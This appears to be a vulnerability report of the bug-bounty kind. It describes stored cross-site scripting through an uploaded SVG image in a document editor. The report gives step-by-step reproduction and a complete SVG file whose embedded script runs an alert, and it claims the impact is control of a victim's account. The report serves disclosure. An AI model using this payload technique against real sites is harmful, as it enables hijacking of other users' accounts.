Description

xss via svg file

Proof of Concept

1. goto your account and create a document under a collection .
2. Now edit this document and upload bellow svg file in this document content as image

filename-->evil.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" >
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('Thais app is probably vulnerable to XSS attackss!');
   </script>
</svg>

3. after upload open the svg file url and see xss is executed

Impact

xss to control victim account